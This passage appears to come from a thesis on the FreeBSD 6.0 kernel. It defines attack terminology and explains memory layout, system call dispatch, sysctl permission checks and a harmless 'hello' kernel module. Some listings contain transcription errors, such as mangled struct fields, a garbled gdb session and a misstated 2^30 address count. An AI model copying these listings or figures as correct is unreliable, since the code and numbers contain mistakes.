For the sake of completeness, it shall be mentioned that a philosophy of UNIX is to provide small and modular utilities that can be combined as building blocks to solve
more complex problems. For instance by the following combination of `find`, `grep`, and `xargs` all kernel C source files are full-text searched for the string `mi_startup`.

```bash
freebsd% cd /usr/src/sys;
freebsd% find . -name *.c | xargs grep -nH mi_startup
[..]
./kern/init_main.c:163:mi_startup(void)
[..]
```

### 2.5 Attacks

This section encompasses the basic terms concerning attacks and in particular manipulation of computer systems.

**Definition 29** We call any departure of an implemented system $\mathcal{C}_p$ from its specification $\mathcal{M}(\mathcal{P})$ and any departure of $\mathcal{M}(\mathcal{P})$ from $\mathcal{P}$ a *failure*. In the former case a failure may also be called a *dysfunction*.

According to this definition every system is afflicted with failures. However, this does not mention the severity of a failure or whether a failure appears anyway.

**Definition 30** If a failure provides the possibility to undermine the security policy $\mathcal{M}(\mathcal{P}^{\text{sec}})$, it is called a *vulnerability* of the system. A vulnerability may pose a *threat* to a system if there is a real chance to exploit the vulnerability. In this context an *exploit* is a precise plan to exploit a vulnerability.

Hence, a vulnerability without a threat will not be regarded as severe.

**Definition 31** An *attack* is an attempt to exploit a vulnerability of a system. A person or a process that performs such is called an *attacker*. If an attack is successful, it is called an *incident*. A system under attack is called a *target system*.

In particular the previous definition does not state whether or not an attack attempts to exploit an existent vulnerability. However, in this case we have something of a pseudo attack.

**Definition 32** Any activity that is performed by an attacker after an incident is called *malicious activity*.

Now that we have defined the basic terms, we give examples that are special to our project.

In this thesis we deal mainly with one class of incidents – namely manipulation.

**Definition 33** We call an incident that subverts the integrity of the system a *manipulation*.

From this definition follows that a manipulation is an unauthorized modification or deletion.

An incident is always preceded by a vulnerability. One important example of a vulnerability, which may entail a manipulation, arises from the possibility that a system
The administrator might run (unwittingly) a malicious program, which is defined next. The attack is then fulfilled on behalf of the malicious program. Note that this is a vulnerability if and only if the system administrator has sufficient privilege to undermine the security policy.

**Definition 34** [4, p.6] A program $X \in \mathcal{C}_{\perp}$ is called malicious if it performs at least one intentional dysfunction that adversely influences the usage or the behavior of $X$ or $\mathcal{C}_{\perp}$. An intentional dysfunction is a dysfunction that is added to the program as essential feature (with malice aforethought).

It should be noted that the emphasis is here placed on “essential feature” rather than on “malice aforethought” and that an intentional dysfunction is not an element of $\mathcal{M}(\mathcal{P})$, obviously.

**Definition 35** A running malicious program is called a malicious process and its malicious activity is called its payload.

Sometimes, with the term payload we only refer to a part of the malicious activity that is of particular importance, for example due to its severeness or because it can be regarded as the main goal of the attacker.

The other class of vulnerabilities that comes into question is due to unintended failures in the system:

**Definition 36** A penetration is an incident that resulted from the attempt of an attacker to circumvent the security mechanisms by exploiting an unintended vulnerability.
Chapter 3

Analysis of the FreeBSD Kernel

3.1 Versions and Background

In 1993 the FreeBSD operating system derived from the Berkeley Software Distribution (BSD) line of UNIX, which was developed by the Computer Systems Research Group (CSRG) at the University of California at Berkeley.

BSD itself was an offshoot of AT&T UNIX, and when it came up in the nineteen-eights, BSD exerted alongside AT&T’s System V most influence on UNIX development [35, p.6]. For instance, major contributions such as the implementation of the DARPA Internet networking TCP/IP protocol stack, which is often regarded as the de facto standard implementation of TCP/IP [48, p.16], were made at that time. Further merits were the support of virtual memory, a fast and recoverable file system, as well as programs such as csh or vi [35, p.XX].

As the CSRG decided to cease its efforts in 1995 with its final release 4.4BSD-Lite Release 2, the FreeBSD Project [40] was ready to start. Seemingly the goal of this team of volunteers was to provide a free, primarily IA32-based system to an audience as broad as possible. Further attention was surely turned to reliability, performance, and security.

At the time of this writing, the recent version of FreeBSD is 6.0. We specify FreeBSD 6.0-RELEASE (GENERIC) on Intel IA32 to be the object of our investigation.

3.2 Overview of the Kernel

The FreeBSD kernel is the part of the system that runs in kernel mode. This part is exactly composed of the interrupt service processes and other kernel mode system processes, as well as user processes when executing in kernel mode. All other (non-kernel) execution is done on behalf of user processes in user mode. The entirety of all components of a process together with its state is called the context of a process. For each process the context consists exactly of its memory image, its dedicated entry in the process table, and its values of CPU registers. The memory image of a process includes the program text, the program data, and a stack. It need not necessarily reside in main memory always, except for parts of the kernel. The process table is arranged as a linked list of process structures managed within the kernel. A process structure contains administrative information about the process such as scheduling priority, file descriptors,
or information about virtual memory like page directories and page tables. When a
process is suspended, the CPU registers are defined by a special machine-dependent
structure saved in the process structure. On Intel IA32 this is the task state segment
(TSS). As an aside, FreeBSD is capable of multiple kernel level execution threads per
process, so one TSS per thread is necessary.

The switch from user mode to kernel mode is achieved via call gates, as we pointed
out above. We analyze the characteristics of FreeBSD in this area in Section 3.4.

By means of this environment – created during the boot activity – the FreeBSD
system is able to perform its services. The following few examples of this shall emphasize
that everything is done on behalf of a process – system or user. To print out an exhaustive
list of processes issue `ps -efaux` in the shell.

Important for multitasking is the capability for context switching, i.e. shifting control
from one process to another. When a process voluntarily intends to release execution
control, it performs a context switch in kernel mode after a system call such as `sleep()`.
In order to suspend a process involuntarily, FreeBSD uses the clock tick interrupt service
routine `hardclock()`, which is invoked 100 times per second via a hardware interrupt
and is handled by the process in kernel mode, to force the initiation of a context switch.

The creation of new processes is accomplished by any user process in kernel mode
via the system call `fork()`. The first of all user processes is the `init` process, so all user
processes are directly or indirectly children of `init`.

I/O operation is handled by a set of kernel mode system processes – namely `[g_up],
[g_down], and [g_event] – that transfer data between device drivers and processes,
and a set of system processes that transfer data between device drivers and devices
[35, p.50]. Thus for each interrupt request line (IRQ) that is associated with a device
a system process listens. For instance `[irq16: rl0]` for a network device or `[irq1: atkbd0]` for the keyboard.

All in all, to comprehend the functionality of the FreeBSD system, one has to ask
firstly whereupon that environment around processes is built and secondly which process
accepts which responsibility. We pick up what is necessary for our investigations in the
following sections.

3.3 Process and Memory Management

3.3.1 The Process Structure

As just described, the top level structure in process management is the per process `proc`
process structure, which is defined in `/usr/src/sys/sys/proc.h`. It encompasses all
information needed to manage a process by the kernel. More precisely all information
about a process in the kernel can be found there. To examine the process structure in
detail is negligible here, so we skip walking through its definition. Instead Figure 3.1,
which is taken from *The Design and Implementation of the FreeBSD Operating System*
[35, p.83], gives an incomplete outline of what the process structure consists for later
reference, which is the goal of this subsection. For further details refer to the header
file.

The process structure includes for instance the process group, to which a process
may be added, user credentials with the user and group identifier, a substructure for
maintaining open file descriptors, statistical information about the process, and limits
3.3. PROCESS AND MEMORY MANAGEMENT

Figure 3.1: The Process Structure [35, p.83]

for system resources. All information referring to the memory image of the process is collected within the `vmspace` substructure. To handle the access of a process to system services via `system calls`, the kernel manages a table of all known services in the `sysentvec` substructure. As mentioned above, every process may run several kernel level threads of execution. Therefore all thread related information is contained for each thread in a separate `thread` substructure. This includes a TSS, too.

3.3.2 The Memory Image of a Process

The origin of a process is always another process duplicating itself by invoking the `fork()` system call – except for processes created at boot time. If then the child process issues an `exec()` system call, it will replace its memory image by loading an executable file. In FreeBSD the standard format for executable files, relocatable object files, and shared object files is the `Executable and Linking Format (ELF)` [23]. This format defines the layout of the memory image of a process for the most part. The file that contains the kernel `/boot/kernel/kernel` is an ELF executable as well. Figure 3.2 shows an abstraction of a typical memory image of a user process that underlies the program of Listing 3.1, which can be revealed by the examination of the following shell session.
Note that in describing the organization of this memory layout in the following, we speak of *segments* in three distinct ways:

1. The ISA level provides a hardware segmentation of memory.

2. The user mode visible part of memory is called *user segment* whereas the part that is *only* visible in kernel mode is called the *kernel segment*.

3. The view on an ELF binary at loading and execution time subdivides an ELF binary into *segments* that are listed in its *program header table (PHDR)*.

Listing 3.1: /home/alm/example1.c

```c
int j=5; /* data */
char *cp; /* bss */

void main(void){
    int i; /* stack */
    cp=malloc(16); /* heap */
    sleep(5);
    free(cp);
}
```

Recall that the segmentation capability of the IA32 is circumvented by what is called the flat model. In applying this model, all segments – such as the *code segment*, the *data segment*, or the *stack segment* – range over the full 32bit address space. Thus only paging is responsible for hardware memory protection and virtualization by providing for every process a single linear virtual address space – as we pointed out in Section 2.4.1. Since we consider IA32, this is a 32bit address space ranging from 0x0 to 0xFFFFFFFF, which are $2^{30} = 4G$ addresses, hence with a capacity of 4GB. In particular, privilege and read/write checking is done on each memory access attempt by the paging unit on a per page basis, whereby the memory image is structured as depicted in Figure 3.2. So for each page appropriate attributes must exist.

The first attribute we consider is the *supervisor flag* in the page table entry of a page. It indicates whether or not a process is able to access the page in user mode. Thereby the memory image is divided into the *user segment*, whereeto all allocated pages between 0x08048000 and 0xC0000000 belong, and the *kernel segment* that lies above 0xC0000000. Pages below 0x08048000 are either not in use or for system purposes. In

---

1 The magic start value 0x08048000 is preset by the linker ld, as one can reveal by issuing `ld -verbose` at the shell.
3.3. PROCESS AND MEMORY MANAGEMENT

![Memory Image of a User Process](image)

this case they belong to the kernel segment as well. The specialty in doing so is that all processes – user and system processes – share the same kernel segment by mapping the appropriate pages by the paging unit in the exact same manner for each process. In particular, the code of all kernel mode execution is located in this kernel segment.

The user and kernel segment are further subdivided into *regions* that correspond to `vm_map` entries\(^2\). Regions may be separated among each other by the use of the per page *write flag* and, if available [24], the per page *execute disable flag*. While the former flag marks a page as read only for user mode, the latter one prevents code residing in such a page from being executed in user mode. Additionally, a part of a file may be assigned to a region that is then mapped at the appropriate location in memory. As mentioned above, the view of the loader of an ELF binary at loading time divides the ELF binary into *segments* according to the program header table. This table resides at the beginning of an ELF binary. The loader then creates regions for them, so that at least one, in most cases exactly one segment fills one region, not necessarily exhaustively. In the following we explain the function of regions and ELF segments depicted in Figure 3.2.

At the beginning of the user segment `0x08048000` a part at the beginning of the executable file is mapped into a read only region. It consists of the ELF header, the program header table, and – depicted as *Text* in Figure 3.2 – the first ELF segment with the machine instructions of the program and auxiliary tables and data. The second

---

\(^2\)The kernel represents all information about the address space of a process within the `vmspace` substructure of the process structure. This substructure contains a map of the virtual memory `vm_map` whose entries `vm_map_entry` describe a virtually contiguous range of memory pages with the same attributes [35, p.142 et seq.].
ELF segment of the underlying executable file, which contains global initialized data and also auxiliary tables and data, is loaded but not mapped into a writable region. This segment also contains information about the size of the so-called BSS (block started by symbol) area for global uninitialized data, which is also allocated in the same region. This is depicted as BSS and Data in Figure 3.2. Following up to the BSS area, a region holds dynamically allocated data that may grow towards higher memory addresses such as a heap in order to satisfy requests for additional memory. At the end of the user segment resides the stack followed by the vector of command line arguments argv and the vector of environment variables of the process [49, p.179 et seqq.]. Note that the commentary of Listing 3.1 indicates the location of data in memory.

Somewhere between stack and heap the runtime linker /libexec/ld-elf.so.1 and the standard C library /lib/libc.so.6 are loaded. The C library is loaded dynamically by the runtime linker in order to provide the required functions sleep(), malloc(), and free(). The underlying binary files are ELF shared object files containing position independent code [11] that is special for this purpose.

Turning now to the kernel segment: the part at the beginning of the ELF executable file /boot/kernel/kernel, which contains the most part of the kernel, is loaded into a writable region starting from 0xC0400000. It includes the kernel program text as well as global initialized and uninitialized data [35, p.145 et seq.], depicted as Kernel Text, Kernel Data, and Kernel BSS in Figure 3.2.

This part is followed by the kernel heap containing all dynamically allocated kernel memory. For instance when a process is created the kernel allocates space for the process structure on the heap. The pointer to the sysentvec structure therein points to the appropriate location in the kernel data area, where in particular the system call table resides. To find out its precise address, we can use the symbol table of the ELF executable

```
freebsd$ readelf -a /boot/kernel/kernel
Symbol table '.dynsym' contains 7475 entries:
Num: Value Size Type Bind Vis Ndx Name
 [...] 690: c08bdf60 5472 OBJECT GLOBAL DEFAULT 19 sysent
 [...] 431
```

3.4 Exceptions and Interrupts

The handling of exceptions and interrupts is covered insofar as by this means an entry to the kernel is accomplished – i.e. a protection domain switch from user to kernel mode. In particular, the system call interface is realized in this way.

An interrupt also called hardware interrupt is an event raised asynchronously by the hardware that interrupts the currently executing process and shifts control either to the appropriate (kernel mode) interrupt service process or the appropriate interrupt service routine of the interrupted process in kernel mode. An exception occurs if an error condition is met during the execution of an instruction. For instance, if a process tries to access a memory page that is neither allocated nor accessible because of being a system page, the hardware raises a page fault exception [45, p.265]. The process then enters

---

4I.e. the segment is not assigned to the region in its vm_map entry
3.4. EXCEPTIONS AND INTERRUPTS

kernel mode in order to handle the exception and perhaps causes itself to terminate. In case of a kernel entry we call an exception a hardware trap. By the use of the int n instruction a process is able to perform an entry to the kernel, which is called a software initiated trap.

All in all, an entry to the kernel is accomplished by either a hardware interrupt, a hardware trap, or a software initiated trap.\(^4\) Traps are serviced by the top half of the kernel, whereas the bottom half handles interrupt requests. According to that, a system call is a special software initiated trap – namely int 0x80, as shown below.

3.4.1 The Interrupt Descriptor Table

Intel IA32 handles interrupts and exceptions by using the memory based interrupt descriptor table (IDT). This table is located as an array in the kernel segment of memory – namely in the Kernel Data area depicted in Figure 3.2. Its entries are special structures called descriptors.

When an interrupt or an exception occurs there is a number assigned to it that the CPU uses as an index in the IDT to select a descriptor that describes the CPU how to proceed further. In case of the software initiated interrupt via the int n instruction its argument n selects an entry in the IDT. For these purposes the CPU holds a dedicated register that points to the base address of the IDT.

There can be three types of descriptors in the IDT that all can act as a call gate:

- If a trap gate descriptor is selected, control is transferred to a kernel mode interrupt service routine in the kernel segment. In particular, no task switch occurs.
- The case of an interrupt gate descriptor differs from the previous case only in additionally disabling interrupts such that the execution of the interrupt service routine cannot be interrupted by another maskable interrupt.
- In case of a task gates descriptor a task switch to an interrupt service process occurs.

FreeBSD defines IDT entries via the setidt() function as shown in Listing 3.2. Parameter idx means the index number in the IDT, func the address of the interrupt service routine, typ the type of the descriptor, dpl the privilege level that is required of a process that issues a software initiated trap via the int instruction, and selec the code segment selector describing the privilege level of the segment where the interrupt service routine resides. This privilege level is kernel mode, since all interrupt service routines reside in the kernel segment.

Listing 3.2: /usr/src/sys/i386/i386/machdep.c

```
void
setidt(idx, func, typ, dpl, selec)
    int idx;
    intand_t *func;
    int typ;
    int dpl;
    int selec;
```

\(^4\)Intel IA32 provides a further mechanism to switch to kernel mode: the possibility to call a kernel mode procedure directly via a so-called procedure call gate descriptor. This is not used in FreeBSD.
CHAPTER 3. ANALYSIS OF THE FREEBSD KERNEL

3.4.2 Call Gates

As mentioned above, there is a precisely defined way to perform a protection domain switch from user mode to kernel mode initiated by a process: a call gate. Note that this includes neither the case of a hardware interrupt nor the case of a hardware trap since these cannot be directly triggered by a process in user mode.

According to Subsection 3.4.1 a call gate can be realized by an entry in the IDT that has a \texttt{dpl} value of \texttt{SEL}_UPL, which stands for user mode. In FreeBSD on Intel IA32 exactly one call gate, namely the entry number \texttt{0x80} in the IDT. This entry is set in \texttt{/usr/src/sys/i386/i386/machdep.c} where a major part of the IDT is set up while booting. As shown in Listing 3.3 and 3.4 this entry defines a trap gate descriptor that invokes \texttt{int0x80\_syscall}, which is defined in \texttt{/usr/src/sys/i386/i386/exception.s}, as interrupt service routine.

\textbf{Listing 3.3:} /usr/src/sys/i386/i386/machdep.c

\begin{verbatim}
setidt(IDT_SYSCALL, &IDTVEC(int0x80\_syscall), SDT\_SYS386TGT, SEL\_UPL, GSEL(GCODE\_SEL, SEL\_KPL));
\end{verbatim}

\textbf{Listing 3.4:} /usr/src/sys/i386/include/segments.h

\begin{verbatim}
define SEL\_KPL 0 /**< kernel priority level */
define SEL\_UPL 3 /**< user priority level */
define SDT\_SYS386TGT 15 /**< system 386 trap gate */
define IDT\_SYSCALL 0x80 /**< System Call Interrupt Vector */
\end{verbatim}

By this means a user process can access the kernel to make use of its services, where the name \texttt{system call} for this sort of call gate comes from. We consider system call processing in detail in Subsection 3.4.3.

3.4.3 System Call Processing

Although a process is able to issue a \texttt{int 0x80} for itself, it is more convenient to use a library function that provides the functionality of the system call by executing the appropriate instructions. Hence typical system call operation is as follows.
3.4. EXCEPTIONS AND INTERRUPTS

1. A process calls a library function in order to access a kernel service, say `sleep()` as in Listing 3.1. This library function is part of the standard C library, which is dynamically linked in the memory layout of the process by the runtime linker `/libexec/ld-elf.so.1`.

2. The library function prepares for the system call, in particular by passing the appropriate parameters onto the stack as well as by saving the identification number of the system call in the general purpose CPU register EAX — `sleep()` uses the system call `nanosleep()` whose number is 0xf0. Then it issues `int 0x80`.

```bash
gdb example1
bp nanosleep
(breakpoint) Breakpoint 1 (nanosleep) pending.
(gdb) !ls pc
0x280b578c
(gdb) disas
Dump of assembler code for function nanosleep:
0x280b578c <nanosleep+0>: mov $0xf0,%eax
0x280b5791 <nanosleep+5>: int $0x80
```

3. According to Listing 3.5, the interrupt service routine `int0x80_syscall`, which already executes in kernel mode, is called through the IDT.

Listing 3.5: `/usr/src/sys/i386/i386/exception.s`

```asm
/*
 * Call gate entry for FreeBSD ELF and Linux/NetBSD syscall (int 0x80)
 *
 * Even though the name says ‘int0x80’, this is actually a TGT (trap gate)
 * rather than an IGT (interrupt gate). Thus interrupts are enabled on
 * entry just as they are for a normal syscall.
 */
SUPERALIGN_TEXT
IDTVEC(int0x80_syscall)
pushl $2 /* sizeof "int 0x80" */
subl $4,%esp /* skip over tf_trapno */
pushal
pushl %ds
pushl %es
pushl %fs
movl $KDSEL,%eax /* switch to kernel segments */
movl %eax,%ds
movl %eax,%es
movl $KPSEL,%eax
movl %eax,%fs
FAKE_MCOUNT(TF_EIP(%esp))
call syscall
MEXITCOUNT
jmp doreti
```
4. Before the actual system call handler `syscall()` depicted in Listing 3.7 is called from `exception.s`, all general registers – including EAX – as well as the segment registers are pushed onto the stack by `pushal` and other push instructions. Thereby the parameter which the callee `syscall()` can expect on the stack becomes the layout of a `struct trapframe`, shown in Listing 3.6.

Listing 3.6: /usr/include/machine/frame.h

```c
struct trapframe {
    int    tf_fs;
    int    tf_es;
    int    tf_ds;
    int    tf edi;
    int    tf esi;
    int    tf ebp;
    int    tf esp;
    int    tf ebx;
    int    tf edx;
    int    tf ecx;
    int    tf eax;
    int    tf_trapno;
    /* below portion defined in 386 hardware */
    int    tf_err;
    int    tf_eip;
    int    tf_cs;
    int    tf_eflags;
    /* below only when crossing rings (e.g. user to kernel) */
    int    tf esp;
    int    tf_ss;
};
```

5. The system call handler obtains the address of the parameters on the stack as well as the identification number of the requested system call from the saved EAX on the stack.

Listing 3.7: /usr/src/sys/i386/i386/trap.c

```c
void
syscall(frame)
{
    struct trapframe frame;
    caddr_t params;
    struct sysent *callp;
    struct thread *td = curthread;
    struct proc *p = td->td_proc;
    register_t orig_tf_eflags;
    u_int sticks;
    int error;
    int nargs;
    int args[8];
    u_int code;
    params = (caddr_t)frame.tf esp + sizeof(int);
    code = frame.tf eax;
    if (code >= p->p_sysent->sv_size)
        ...
```
The system call table is organized as an array of `sysent` structures, as shown in Listing 3.8. To access the system call table the pointer `sv_table` is used. It is contained in the `sysentvec` structure `p_sysent`, which itself is a substructure of the process structure where `p` points to. See Figure 3.1. The `sysentvec` structure is defined in `/usr/src/sys/sys/sysent.h`. The instance of this structure used for FreeBSD binaries is defined in `/usr/src/sys/i386/elf_machdep.c`. For example to run Linux binaries, FreeBSD uses a different `sysentvec` structure containing a different system call table for the corresponding process.

The following Listing shows that the number of arguments is obtained from the entry in the system call table and saved in `narg`.

In case of the availability of arguments, `(narg * sizeof(int))` bytes are copied from the user segment address `params`, where the actual arguments reside, to the kernel segment address `args`.

The handler calls the function implementing the system call with its arguments.

---

**Listing 3.8: `/usr/src/sys/sys/sysent.h`**

```c
struct sysent {
    /* system call table */
    int    sy_narg;    /* number of arguments */
    sy_call_t *sy_call;   /* implementing function */
    au_event_t sy_auevent; /* audit event associated with syscall */
};
```

---

6. In our example the function pointer `*callp->sy_call` points to the `nanosleep()` function. This can be seen in Listing 3.9 where this entry of the system call table is initialized.

**Listing 3.9: `/usr/src/sys/kern/init_sysent.c`**

```c
{ SYF_MPSAFE | AS(nanosleep_args), (sy_call_t *)nanosleep, AUE_NULL }, /* 240 = nanosleep */
```

The `nanosleep()` function is implemented in `/usr/src/sys/kern/kern_time.c`. After performing its time waiting service `nanosleep()` returns to the system call
handler syscall(), which itself returns to user mode to finish the system call after the clean-up.

## 3.5 Access Control

Picking up again the concepts of Section 2.3, the goal of this section is to shed some light on the implementation of the access control mechanism in FreeBSD. A process – i.e. a subject – can only interact with the outside of its virtualized world via the system call interface. The ISA level provides this by means of virtualization mechanisms and protection domains. Everytime a process issues a system call, the kernel checks on behalf of the routine that implements the system call whether or not this call conforms to the security policy. Hence the access control mechanism is scattered all over the kernel.

Although FreeBSD implements the traditional UNIX access control mechanism for DAC policies, there is an extension for further isolating processes from each other called jails and one for providing simple MAC features called security levels.

While we cover the functionality and the configuration of jails and security levels in Chapter 5, in the remainder of this section we illustrate the implementation of their access restrictions using the example of the system control _sysctl() system call. Every system call that is associated with access control must analogously check whether the calling process has the permission to issue this specifically parameterized system call. The _sysctl() system call is used to adjust the configuration of the kernel at runtime as well as to retrieve information about the system. We explicitly deal with such system controls in Section 3.7. At this point we are only interested in the question of how it is determined whether or not a process that issued a specific _sysctl() system call is allowed to do so. Furthermore, what happens if it is not allowed? The _sysctl() system call checks firstly whether the requested system parameter is changeable, secondly whether the change of its value is confined by a kernel security level, and finally whether superuser privileges are required in order to set a new value. In the latter case, the routine additionally checks if this system control request is affected by the jails mechanism. If the process is in a jail, it is not allowed to issue certain _sysctl() system calls. Anytime a permission check fails, the routine returns an operation-not-permitted error EPERM. Listing 3.10 shows the appropriate part of a subroutine of the implementing routine of _sysctl().

### Listing 3.10: /usr/src/sys/kern/kern_sysctl.c

```c
/* Is this sysctl writable? */
if (req->newptr && !(oid->oid_kind & CTLFLAG_WR))
    return (EPERM);

KASSERT(req->td != NULL, ("sysctl_root(): req->td == NULL");

/* Is this sysctl sensitive to securelevels? */
if (req->newptr && (oid->oid_kind & CTLFLAG_SECURE)) {
    lvl = (oid->oid_kind & CTLMASK_SECURE) >> CTLSHIFT_SECURE;
    error = securelevel_gt(req->td->td_ucred, lvl);
    if (error)
        return (error);
}

/* Is this sysctl writable by only privileged users? */
if (req->newptr && !(oid->oid_kind & CTLFLAG_ANYBODY)) {
```


3.6 Kernel Modules

A concept of FreeBSD, which strives for maintainability, is to break down kernel functionality logically into modules [35, p.598]. A kernel module is an entity that is able to run any code in kernel mode at the time of its initialization. Thus it can provide any functionality to the kernel.

One distinguishes permanent kernel modules and kernel loadable modules, the latter also being called kernel loadable objects (KLD). Permanent kernel modules are logical parts of the kernel binary and are compiled and linked into /boot/kernel/kernel. This file is loaded into memory by the boot loader according to Figure 3.2. Such modules are initialized at boot time – i.e. their initialization routine is called by mi_startup() in init_main.c – to prepare the FreeBSD system for operation. Examples are the kernel memory manager and the support for mutexes.

In the other case, the functionality of the kernel is extendable at runtime via kernel loadable objects. This is provided by a well-defined interface, which is especially designed for this purpose, and is realized by a dedicated set of system calls. Thereby a kernel loadable object, which resides in a separate ELF shared object file, can be loaded and linked into the kernel at runtime such as a dynamically linked library for a user process. To be more concrete, it is possible to execute arbitrary code in kernel mode on behalf of an initialization routine of a KLD. It is particularly possible to add further system calls to the system call table and thus to execute arbitrary code in kernel mode on behalf of a self defined system call.

3.6.1 Implementing and Loading a KLD

This subsection explains in detail the implementation of a KLD as well as the functionality of the KLD loading facility. For this purpose we walk step by step through the complete source code of a trivial KLD as shown in Listing 3.12\(^5\). Along the way the role and function of the source definitions are described. We recommend reading the files /usr/src/sys/kern/kern_linker.c and /usr/src/sys/kern/kern_module.c simultaneously.

Before we begin, a note on how to activate the loading of a module: first one needs to compile the source code, which can be easily achieved by including the dedicated FreeBSD kernel module makefile /usr/share/mk/bsd.kmod.mk shown in Listing 3.11. Then the resulting kernel ELF shared object file has to be invoked with the kldload

\(^5\)During the implementation of this module we looked at /usr/share/examples/kld/syscall/module/syscall.c to get knowledge about the format of a loadable module.
utility that passes this file to the kldload() system call, where kernel loadable module handling begins. This is shown by the following shell session.

```
freebsd# cd /home/alm/mykld
freebsd# ls
Makefile mykld.c
freebsd# make 
[...]
freebsd# kldload ./mykld.ko
```

Listing 3.11: /home/alm/mykld/Makefile

```
SRCS = mykld.c
KMOD = mykld
KD = $(KMOD).ko
KLD = t
.include <bsd.kmod.mk>
```

So our starting point is a KLD resulting from the source code of Listing 3.12 that is passed to the kldload() system call. This system call is implemented in /usr/src/sys/kern/kern_linker.c.

Listing 3.12: /home/alm/mykld/mykld.c

```
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>

static struct mod_metadata mykld_mod_metadata;
static struct sysinit mykld_module_sysinit;
static moduledata_t mykld_moduledata;
static int myhandler (struct module *a, int, void*);
```

After checking the right security level and superuser privileges alongside further error handling, the linker_file() subroutine is called to load the shared object file into a new allocated memory area. Then this routine invokes linker_file_register_modules() as well as linker_file_sysinit() on whose behalf the following source definitions __set_modmetadata_mykld respectively __set_sysinit_mykld are found. For this purpose the dedicated ELF sections set_modmetadata_set and set_sysinit_set are used, which are created by advising the compiler via the __attribute__ keyword in each definition.

```
static void const * const __set_modmetadata_mykld
  __attribute__((__section__("set_modmetadata_set")))
  __attribute__((__used__)) = &mykld_mod_metadata;
static void const * const __set_sysinit_mykld
  __attribute__((__section__("set_sysinit_set")))
  __attribute__((__used__)) = &mykld_module_sysinit;
```
The `set_modmetadata_set` section contains all modules of the shared object file as pointers to `mod_metadata` structures. The kernel manages for administration purposes a list of all modules as a linked list of special `module` structures as we explain in Subsection 3.6.2. To this list `linker_file_register_modules()` adds a new entry created from `mykld_mod_metadata`, which is defined next.

```c
static struct mod_metadata mykld_mod_metadata = {
    MDT_STRUCT_VERSION,
    MDT_MODULE,
    &mykld_moduledata,
    "mykld"
};
```

In the other case, the `set_sysinit_set` section contains a pointer to a `sysinit` structure for each module of the shared object file. The `linker_file_sysinit()` routine finds this pointer and calls the function defined as its third entry with the fourth entry as arguments. This is `module_register_init(&mykld_moduledata)`. 

```c
static struct sysinit mykld_module_sysinit = {
    SI_SUB_DRIVERS,
    SI_ORDER_MIDDLE,
    module_register_init,
    &mykld_moduledata
};
```

By this call the actual event handler `myhandler` of the module with its arguments is obtained from the following structure and invoked with the `module` structure, `MOD_LOAD`, and the pointer to the additional arguments as parameters.

```c
static moduledata_t mykld_moduledata = {
    "mykld",
    myhandler,
    NULL /* additional args for myhandler */
};
```

Finally, this is the definition of the `myhandler` initialization and clean-up routine. On behalf of this routine the whole functionality of the module has to be installed in the kernel or respectively removed from the kernel. Our trivial example solely posts a simple message.

```c
static int myhandler (struct module *module, int what, void *arg){
    int error = 0;
    switch (what) {
    case MOD_LOAD : /* in case of a LOAD */
        printf("Hello Kernelmode!\n");
        break;
    case MOD_UNLOAD : /* in case of a UNLOAD */
        printf("Goodbye!\n");
        break;
    default :
        error = EOPNOTSUPP;
    break;
    }
    return error;
}
```

6 In particular, such shared object files also called linker files can contain multiple modules.

7 Actually only the name of the module is obtained from this structure and then the module entry in the list of all modules, which was created by `linker_file_register_modules()` (see above), is consulted to obtain the address of the event handler function with its arguments.
3.6.2 Managing Modules in the Kernel

Looking back at Subsection 3.6.1, we once again pick up the fact that a kernel loadable module (KLD) is loaded from a special type of shared object file – namely a linker file. A linker file can contain multiple KLDs. In the kernel all information about modules is handled by two global lists called modules and linker_files and by the global integer variables nextid and next_file_id. These tables and variables are updated on each load and on each unload of a module.

As its name implies, modules contains for each loaded KLD exactly one entry of a module structure, which is shown by Listing 3.13. There are included a unique identification number id, the name of the module name, and a variable refs that is thought to indicate the number of modules that refer to this module. If refs is greater than 1, it is not possible to unload the module. While at loading time this structure is initialized and added to the modules list by the module_register() routine, which is known from above, the refs counter is set to 1 as it refers to itself. However, refs is neither incremented by the core kernel code – i.e. code of /boot/kernel/kernel – nor by predefined standard loadable modules. Thereby its usage is limited to self-defined kernel module applications.

Within the the module_register() routine the nextid variable, which indicates the next free identification number for a new loaded module, is incremented by 1.

Listing 3.13: /usr/src/sys/kern/kern_module.c

```
struct module {
    TAILQ_ENTRY(module) link; /* chain together all modules */
    TAILQ_ENTRY(module) flink; /* all modules in a file */
    struct linker_file *file; /* file which contains this module */
    int refs; /* reference count */
    int id; /* unique id number */
    char *name; /* module name */
    modeventhand_t handler; /* event handler */
    void *arg; /* argument for handler */
    modspecific_t data; /* module specific data */
};
```

Similar to the modules list, the linker_files list contains for each linker file from which at least one module is loaded exactly one linker_file structure as shown by Listing 3.14. This structure includes, among things similar to a modules entry, the number of modules refs that refer to this linker file and the number and list of linker files ndeps respectively *deps that this linker file depends on. So in particular the loading of a module increments the refs counter of the kernel linker file, because all modules refer to the kernel linker file /boot/kernel/kernel.

Finally the global integer variable next_file_id, which indicates the next free (unique) identification number for a linker file, is incremented by 1 whenever a further linker file is loaded into the kernel.
3.6. KERNEL MODULES

Listing 3.14: /usr/src/sys/sys/linker.h

```c
struct linker_file {
  KOBJ_FIELDS;
  int refs; /* reference count */
  int userrefs; /* kldload(2) count */
  int flags;
#define LINKER_FILE_LINKED 0x1 /* file has been fully linked */
  char ENTRY(linker_file) link; /* list of all loaded files */
  char* filename; /* file which was loaded */
  int id; /* unique id */
  caddr_t address; /* load address */
  size_t size; /* size of file */
  int ndeps; /* number of dependencies */
  linker_file_t* ndeps; /* list of dependencies */
  STAILQ_HEAD(, common_symbol) common; /* list of common symbols */
  TAILQ_HEAD(, module) modules; /* modules in this file */
  TAILQ_ENTRY(linker_file) loaded; /* preload dependency support */
};
```

3.6.3 Example: A System Call Module

Implementation

For two reasons we conduct an example that implements an additional system call to the system call table. We aim firstly at giving further details about system call handling in the kernel and secondly at getting familiar with KLD programming. Listing 3.15 shows the complete source code of such a module.

Listing 3.15: /home/alm/my-syscall/my-syscall.c

```c
#include <sys/types.h>
#include <sys/param.h>
#include <sys/proc.h>
#include <sys/module.h>
#include <sys/sysent.h>
#include <sys/kernel.h>
#include <sys/systm.h>
#include <bsm/audit_kevents.h>

static int my_syscall (struct thread *td, void *arg){
  printf ("This is kernel mode!
");
  return 0;
}
```

